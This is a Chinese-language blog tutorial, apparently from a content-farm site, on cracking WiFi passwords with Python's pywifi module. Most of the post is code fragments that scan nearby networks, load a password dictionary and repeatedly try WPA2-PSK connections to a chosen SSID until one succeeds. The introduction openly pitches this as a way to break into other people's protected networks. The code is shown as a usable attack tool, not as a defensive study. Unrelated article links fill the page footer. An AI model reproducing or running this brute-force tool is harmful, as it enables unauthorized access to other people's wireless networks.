怎样破解wifi密码

现在每个家庭都有WiFi!大家都以为为了防止别人蹭WiFi密码设置复杂一点,万能钥匙就破解不了!今天给大家看看python工程师是怎么破解WiFi密码的!今天利用python中的pywifi模块来写这个程序!上教程

怎样破解wifi密码

一、获取密码文件的路径

self.get_value = StringVar()

二、获取WiFi账号

self.get_wifi_value = StringVar()

三、获取WiFi密码

self.get_wifimm_value = StringVar()

四、抓取网卡接口

self.wifi = pywifi.PyWiFi()

五、抓取第一个无线网卡

self.iface = self.wifi.interfaces()[0]

六、测试连接断开所有网址

self.iface.disconnect()

七、测试网卡是否属于断开状态

assert self.iface.status() in

[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

怎样破解wifi密码

八、自动会调用的函数,返回自身的网卡

return ‘(WIFI:%s,%s)’ % (self.wifi,self.iface.name())

九、搜索WiFi

#开始扫描

print(“^_^ 开始扫描附近wifi…”)

self.iface.scan()

time.sleep(15)

#在若干秒后获取扫描结果

scanres = self.iface.scan_results()

#统计附近被发现的热点数量

nums = len(scanres)

print(“数量: %s”%(nums))

#print (“| %s | %s | %s | %s”%(“WIFIID”,”SSID”,”BSSID”,”signal”))

# 实际数据

self.show_scans_wifi_list(scanres)

return scanres

十、添加密码文件目录

self.filename = tkinter.filedialog.askopenfilename()

self.get_value.set(self.filename)

十一、Treeview绑定事件

self.sels= event.widget.selection()

self.get_wifi_value.set(self.wifi_tree.item(self.sels,”values”)[1])

#print(“you clicked on”,self.wifi_tree.item(self.sels,”values”)[1])

十二、读取密码字典,进行匹配

def readPassWord(self):

self.getFilePath = self.get_value.get()

self.get_wifissid = self.get_wifi_value.get()

pwdfilehander=open(self.getFilePath,”r”,errors=”ignore”)

while True:

try:

self.pwdStr=pwdfilehander.readline()

if not self.pwdStr:

break

self.bool1=self.connect(self.pwdStr,self.get_wifissid)

if self.bool1:

self.res = “===正确=== wifi名:%s 匹配密码:%s “%(self.get_wifissid,self.pwdStr)

self.get_wifimm_value.set(self.pwdStr)


tkinter.messagebox.showinfo(‘提示’, ‘破解成功!!!’)


print(self.res)

break

else:

self.res = “—错误— wifi名:%s匹配密码:%s”%(self.get_wifissid,self.pwdStr)

print(self.res)

time.sleep(3)

except:

continue

十三、对wifi和密码进行匹配

#创建wifi网址文件

self.profile = pywifi.Profile()

self.profile.ssid =wifi_ssid #wifi名称

self.profile.auth = const.AUTH_ALG_OPEN #网卡的开放

self.profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法

self.profile.cipher = const.CIPHER_TYPE_CCMP #加密单元

self.profile.key = pwd_Str #密码


self.iface.remove_all_network_profiles() #删除所有的wifi文件


self.tmp_profile =
self.iface.add_network_profile(self.profile)#设定新的网址文件


self.iface.connect(self.tmp_profile)#网址

time.sleep(5)

if self.iface.status() == const.IFACE_CONNECTED: #判断是否连接上

isOK=True

else:

isOK=False

self.iface.disconnect() #断开

time.sleep(1)

#检查断开状态

assert self.iface.status() in

[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

return isOK

运行结果

怎样破解wifi密码
怎样破解wifi密码

该文章投稿作者:梦见自己住在工棚里,如若转载,请注明来自鱼鳞桐程网:https://www.yulintongcheng.com/155394.html

(0)
梦见自己住在工棚里的头像梦见自己住在工棚里
上一篇 31/08/2022 20:52
下一篇 01/09/2022 11:06

网友常看推荐

  • 啤酒花是什么东西

    夏天到了,又可以边吃烧烤边喝啤酒和扎啤了,约上几个好友,在烧烤摊前一坐,边吃边聊,想想都是很快乐的事情。说到啤酒,就不得不说一种东西,酒花,也叫啤酒花,它到底是一种什么东西呢?#啤…

    27/06/2022
    09690
  • 为什么小偷不搬保险柜

    随着人们生活水平的提高,老百姓也开始提升家庭财产安全!虽然目前中国治安环境远远好于大部分发达国家,人们晚上可以无所顾忌地出去撸串K歌桑拿,但是根据国泰君安日前发布的研报,我国部分省…

    03/05/2022
    06.7K0
  • 月薪过十万的恐怖职业

    身边的小伙伴总抱怨工资低,那么问题来了,有些工作工资到位了。 你真的敢去吗? 第一种 来说说这个工地水鬼,他们专门负责潜入几十米深伸手不见五指,随时可能塌方的泥浆洞里打捞钻头,难度…

  • 戒烟只要坚持三天就成功了

    今天是我成功戒烟第三天了。其实今天差一点点就复吸了,但是我还是成功的忍住了。准确的说,不应该用“忍”字,因为我如果用“忍”,那我迟早有一天会复吸,而正确的做法是,我让自己看清了事实…

    16/05/2022
    010.6K0
  • 小区物业最怕什么举报

    1、物业最怕的投D话12345投诉,12345是各地市人民国家设立的专门受理热线事项的公共服务平台,不仅是指D话热线,还包括市长信箱、微博、V等方式。12345受理接收所有来自人民…

    08/07/2022
    03.1K0
  • 为什么都瞧不起易语言

    中国软件在近几十年来取得了很大的进步,特别是中国的互联网的快速发展,现在每个人都中国的综合国力已经稳步上升,很多人觉得现在许多行业在中国的品牌标志,是否应该有一个属于自己的编程语言…

    07/07/2022
    08770
  • 信用卡催收的几个阶段有哪些

    相信有很多人都对催收的具体环节存在好奇之心,银行是什么时候开始催收的?催收的形式是怎么样的?催收会不会像新闻中看到的那么暴力?接下来财优化带您了解一下。 信用卡逾期的催收流程,从最…

    11/09/2023
    04010
  • 为什么都不敢动贾跃亭?为什么还有人相信贾跃亭?

    如果国家动了失败的企业家,而不是更多的去帮助并支持这些创新的企业家,那中国在未来就真的没希望了,国家需要越来越多的创业创新的企业家,带动国家科技的发展与进步,才能真正实现中华民族的…

    01/11/2023
    04120
  • 养狗一个月大概要花多少钱

    好友带女儿来家里玩,看到我家中的小狗,喜欢极了,便决定也要去买一只狗。我劝她三思。 首先因为狗是忠诚的。它也是生命,如果养了,不喜欢,弃养、转让,对狗而言打击是毁灭性的。同事家隔壁…

    31/07/2022
    01.1K0
  • 亚马逊跨境电商开店流程及费用

    亚马逊是全球最大的跨境电商平台之一,因其拥有庞大的消费用户数量和流量,所以吸引了很多商家入驻,那么亚马逊跨境电商怎样入驻?本篇文章中,飞书逸途将为大家介绍亚马逊跨境电商怎样入驻以及…

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注